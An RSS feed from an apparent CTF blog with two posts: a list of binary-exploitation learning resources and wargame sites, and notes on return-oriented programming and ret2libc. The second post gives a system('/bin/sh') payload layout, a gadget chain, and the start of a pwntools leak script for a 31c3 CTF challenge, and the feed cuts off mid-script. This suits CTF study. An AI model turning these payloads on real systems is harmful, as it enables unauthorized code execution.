<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>PWN on Zet’s playground</title>
    <link>https://blog.zet.tw/en/tags/pwn/</link>
    <description>Recent content in PWN on Zet’s playground</description>
    <image>
      <title>Zet’s playground</title>
      <url>https://blog.zet.tw/img/blog-cover.png</url>
      <link>https://blog.zet.tw/img/blog-cover.png</link>
    </image>
    <generator>Hugo -- 0.139.0</generator>
    <language>en</language>
    <lastBuildDate>Tue, 09 Jan 2018 00:00:00 +0800</lastBuildDate>
    <atom:link href="https://blog.zet.tw/en/tags/pwn/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>How to pwnable</title>
      <link>https://blog.zet.tw/en/posts/2018-01-09-how-to-pwnable/</link>
      <pubDate>Tue, 09 Jan 2018 00:00:00 +0800</pubDate>
      <guid>https://blog.zet.tw/en/posts/2018-01-09-how-to-pwnable/</guid>
      <description>&lt;p&gt;Updated over time~&lt;/p&gt;
&lt;h2 id=&#34;website-doc-and-video&#34;&gt;website, doc and video&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;ctf&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;wiki&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;github&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;io&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;ctf&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;wiki
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;LiveOverflow youtube channel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;www&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;youtube&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;channel&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;UClcE&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;kVhqyiHCcjYwcpfj9w
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;liveoverflow&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;binary_hacking&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;protostar&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;index&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;html
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Heap techniques summary
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;github&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;shellphish&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;how2heap
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A series of slides by a Japanese competitor
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;www&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;slideshare&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;net&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;bata_24&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;presentations
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;杨坤：掘金&lt;/span&gt;CTF &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;——&lt;/span&gt;CTF中的内存漏洞利用技巧
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;netsec&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;ccert&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;edu&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;cn&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;wp&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;content&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;uploads&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2015&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2015&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1029&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;yangkun&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;Gold&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;Mining&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;CTF&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;pdf
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Modern Binary Exploitation by RPISEC
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;security&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;cs&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;rpi&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;edu&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;courses&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;binexp&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;spring2015&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;github&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;RPISEC&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;MBE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;raintrees&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;net&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;projects&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;a&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;painter&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;and&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;a&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;black&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;cat&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;wiki&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;CTF_Pwn
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exploit techniques compiled by inaz2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;inaz2&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;hatenablog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;archive&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;category&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Exploit&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&lt;/span&gt;page&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;inaz2&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;hatenablog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;archive&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;category&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Exploit&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&lt;/span&gt;page&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;j00ru&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;vexillium&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;org&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;blog&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;24&lt;/span&gt;_03_15&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;dragons_ctf&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;pdf
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;github&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;str4tan&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;pwning
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Heap:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;github&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;cloudburst&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;libheap
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;github&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;DhavalKapil&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;libdheap
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;github&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;degrigis&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Heapy
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https:&lt;span style=&#34;color:#f92672&#34;&gt;//&lt;/span&gt;github&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;com&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;shellphish&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;how2heap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;wargame-and-ctf&#34;&gt;wargame and ctf&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://pwnable.tw/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://pwnable.kr/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://bamboofox.cs.nctu.edu.tw/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://overthewire.org/wargames/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://w3challs.com/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://exploit-exercises.com/nebula/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://ctf.katsudon.org/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;http://ctf.katsudon.org/ctf4u/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;tools&#34;&gt;tools&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;debug&lt;/strong&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Updated over time~</p>
<h2 id="website-doc-and-video">website, doc and video</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>ctf<span style="color:#f92672">-</span>wiki<span style="color:#f92672">.</span>github<span style="color:#f92672">.</span>io<span style="color:#f92672">/</span>ctf<span style="color:#f92672">-</span>wiki
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>LiveOverflow youtube channel
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>www<span style="color:#f92672">.</span>youtube<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>channel<span style="color:#f92672">/</span>UClcE<span style="color:#f92672">-</span>kVhqyiHCcjYwcpfj9w
</span></span><span style="display:flex;"><span>http:<span style="color:#f92672">//</span>liveoverflow<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>binary_hacking<span style="color:#f92672">/</span>protostar<span style="color:#f92672">/</span>index<span style="color:#f92672">.</span>html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Heap techniques summary
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>github<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>shellphish<span style="color:#f92672">/</span>how2heap
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>A series of slides by a Japanese competitor
</span></span><span style="display:flex;"><span>http:<span style="color:#f92672">//</span>www<span style="color:#f92672">.</span>slideshare<span style="color:#f92672">.</span>net<span style="color:#f92672">/</span>bata_24<span style="color:#f92672">/</span>presentations
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">杨坤：掘金</span>CTF <span style="color:#960050;background-color:#1e0010">——</span>CTF中的内存漏洞利用技巧
</span></span><span style="display:flex;"><span>http:<span style="color:#f92672">//</span>netsec<span style="color:#f92672">.</span>ccert<span style="color:#f92672">.</span>edu<span style="color:#f92672">.</span>cn<span style="color:#f92672">/</span>wp<span style="color:#f92672">-</span>content<span style="color:#f92672">/</span>uploads<span style="color:#f92672">/</span><span style="color:#ae81ff">2015</span><span style="color:#f92672">/</span><span style="color:#ae81ff">10</span><span style="color:#f92672">/</span><span style="color:#ae81ff">2015</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1029</span><span style="color:#f92672">-</span>yangkun<span style="color:#f92672">-</span>Gold<span style="color:#f92672">-</span>Mining<span style="color:#f92672">-</span>CTF<span style="color:#f92672">.</span>pdf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Modern Binary Exploitation by RPISEC
</span></span><span style="display:flex;"><span>http:<span style="color:#f92672">//</span>security<span style="color:#f92672">.</span>cs<span style="color:#f92672">.</span>rpi<span style="color:#f92672">.</span>edu<span style="color:#f92672">/</span>courses<span style="color:#f92672">/</span>binexp<span style="color:#f92672">-</span>spring2015<span style="color:#f92672">/</span>
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>github<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>RPISEC<span style="color:#f92672">/</span>MBE
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>raintrees<span style="color:#f92672">.</span>net<span style="color:#f92672">/</span>projects<span style="color:#f92672">/</span>a<span style="color:#f92672">-</span>painter<span style="color:#f92672">-</span><span style="color:#f92672">and</span><span style="color:#f92672">-</span>a<span style="color:#f92672">-</span>black<span style="color:#f92672">-</span>cat<span style="color:#f92672">/</span>wiki<span style="color:#f92672">/</span>CTF_Pwn
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>exploit techniques compiled by inaz2
</span></span><span style="display:flex;"><span>http:<span style="color:#f92672">//</span>inaz2<span style="color:#f92672">.</span>hatenablog<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>archive<span style="color:#f92672">/</span>category<span style="color:#f92672">/</span>Exploit<span style="color:#960050;background-color:#1e0010">?</span>page<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>http:<span style="color:#f92672">//</span>inaz2<span style="color:#f92672">.</span>hatenablog<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>archive<span style="color:#f92672">/</span>category<span style="color:#f92672">/</span>Exploit<span style="color:#960050;background-color:#1e0010">?</span>page<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>http:<span style="color:#f92672">//</span>j00ru<span style="color:#f92672">.</span>vexillium<span style="color:#f92672">.</span>org<span style="color:#f92672">/</span>blog<span style="color:#f92672">/</span><span style="color:#ae81ff">24</span>_03_15<span style="color:#f92672">/</span>dragons_ctf<span style="color:#f92672">.</span>pdf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>github<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>str4tan<span style="color:#f92672">/</span>pwning
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Heap:
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>github<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>cloudburst<span style="color:#f92672">/</span>libheap
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>github<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>DhavalKapil<span style="color:#f92672">/</span>libdheap
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>github<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>degrigis<span style="color:#f92672">/</span>Heapy
</span></span><span style="display:flex;"><span>https:<span style="color:#f92672">//</span>github<span style="color:#f92672">.</span>com<span style="color:#f92672">/</span>shellphish<span style="color:#f92672">/</span>how2heap
</span></span></code></pre></div><h2 id="wargame-and-ctf">wargame and ctf</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>https://pwnable.tw/
</span></span><span style="display:flex;"><span>http://pwnable.kr/
</span></span><span style="display:flex;"><span>https://bamboofox.cs.nctu.edu.tw/
</span></span><span style="display:flex;"><span>http://overthewire.org/wargames/
</span></span><span style="display:flex;"><span>https://w3challs.com/
</span></span><span style="display:flex;"><span>https://exploit-exercises.com/nebula/
</span></span><span style="display:flex;"><span>http://ctf.katsudon.org/
</span></span><span style="display:flex;"><span>http://ctf.katsudon.org/ctf4u/
</span></span></code></pre></div><h2 id="tools">tools</h2>
<p><strong>debug</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>https://github.com/snare/voltron
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Return Oriented Programming</title>
      <link>https://blog.zet.tw/en/posts/2016-05-31-rop/</link>
      <pubDate>Tue, 31 May 2016 00:00:00 +0800</pubDate>
      <guid>https://blog.zet.tw/en/posts/2016-05-31-rop/</guid>
      <description>&lt;p&gt;Some notes.&lt;/p&gt;
&lt;h2 id=&#34;tools-for-finding-gadgets&#34;&gt;Tools for finding gadgets&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;rp++&lt;/li&gt;
&lt;li&gt;ROPgadget&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;ret2libc&#34;&gt;Ret2libc&lt;/h2&gt;
&lt;p&gt;When the program has &lt;code&gt;NX&lt;/code&gt; enabled, shellcode on the stack can&amp;rsquo;t execute; you can use &lt;code&gt;ret2libc&lt;/code&gt;, or use ROP to call &lt;code&gt;mprotect&lt;/code&gt; and open an rwx segment.&lt;/p&gt;
&lt;h3 id=&#34;passing-arguments&#34;&gt;Passing arguments&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x86
via the stack&lt;/li&gt;
&lt;li&gt;x86_64
via registers&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;ret2libc-stack-layout&#34;&gt;Ret2libc stack layout&lt;/h3&gt;
&lt;p&gt;Stack the arguments as completely as possible to avoid annoying issues.&lt;/p&gt;
&lt;p&gt;The usual x86 layout is:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;padding +  function + ret address + argv1 + argv2 + argv3 ....
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The function can usually jump straight to &lt;code&gt;.plt&lt;/code&gt;; the ret address is where you want to go after it finishes. If you&amp;rsquo;re just building system(&amp;quot;/bin/sh&amp;quot;), the ret address can be left blank.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Some notes.</p>
<h2 id="tools-for-finding-gadgets">Tools for finding gadgets</h2>
<ul>
<li>rp++</li>
<li>ROPgadget</li>
</ul>
<h2 id="ret2libc">Ret2libc</h2>
<p>When the program has <code>NX</code> enabled, shellcode on the stack can&rsquo;t execute; you can use <code>ret2libc</code>, or use ROP to call <code>mprotect</code> and open an rwx segment.</p>
<h3 id="passing-arguments">Passing arguments</h3>
<ul>
<li>x86
via the stack</li>
<li>x86_64
via registers</li>
</ul>
<h3 id="ret2libc-stack-layout">Ret2libc stack layout</h3>
<p>Stack the arguments as completely as possible to avoid annoying issues.</p>
<p>The usual x86 layout is:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>padding +  function + ret address + argv1 + argv2 + argv3 ....
</span></span></code></pre></div><p>The function can usually jump straight to <code>.plt</code>; the ret address is where you want to go after it finishes. If you&rsquo;re just building system(&quot;/bin/sh&quot;), the ret address can be left blank.</p>
<p>For example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>&#39;A&#39;*100 + p32(system_addr) + p32(0) + p32(binsh_addr)
</span></span></code></pre></div><p>x64:
Use some <code>pop reg</code> gadgets to set up the registers.</p>
<h3 id="x32">x32</h3>
<p>Arguments are stacked directly on the stack; use pop_ret to clear the used arguments.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-diff" data-lang="diff"><span style="display:flex;"><span>read @ plt
</span></span><span style="display:flex;"><span>pop_pop_pop_ret
</span></span><span style="display:flex;"><span>0
</span></span><span style="display:flex;"><span>addr
</span></span><span style="display:flex;"><span>length
</span></span><span style="display:flex;"><span>system @ plt
</span></span></code></pre></div><h3 id="x86_64">x86_64</h3>
<ul>
<li>Max address <code>0x00007fffffffffff</code></li>
</ul>
<h3 id="dynelf">DynELF</h3>
<p>If you don&rsquo;t know the target&rsquo;s libc, you can use a pwntools tool called <code>DynELF</code>: give it a leak point and it can find function addresses for you.</p>
<p>This is cfy from the 31c3 CTF, which you can use for practice:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> time
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>printf_got <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x601020</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">leak</span>(addr):
</span></span><span style="display:flex;"><span>    r<span style="color:#f92672">.</span>sendline(<span style="color:#e6db74">&#39;2&#39;</span>)
</span></span><span style="display:flex;"><span>    r<span style="color:#f92672">.</span>sendline(p64(addr) )
</span></span><span style="display:flex;"><span>    s <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>recvline_contains(<span style="color:#e6db74">&#39;hex: 0x&#39;</span>)[<span style="color:#ae81ff">5</span>:]<span style="color:#f92672">.</span>strip()
</span></span><span style="display:flex;"><span>    s <span style="color:#f92672">=</span> p64( int(s,<span style="color:#ae81ff">16</span>) )
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> remote(<span style="color:#e6db74">&#39;localhost&#39;</span>,<span style="color:#ae81ff">4000</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ptr_libc <span style="color:#f92672">=</span> u64(leak(printf_got))
</span></span><span style="display:flex;"><span>d <span style="color:#f92672">=</span> DynELF(leak, ptr_libc)
</span></span><span style="display:flex;"><span>system <span style="color:#f92672">=</span> d<span style="color:#f92672">.</span>lookup(<span style="color:#e6db74">&#39;system&#39;</span>)
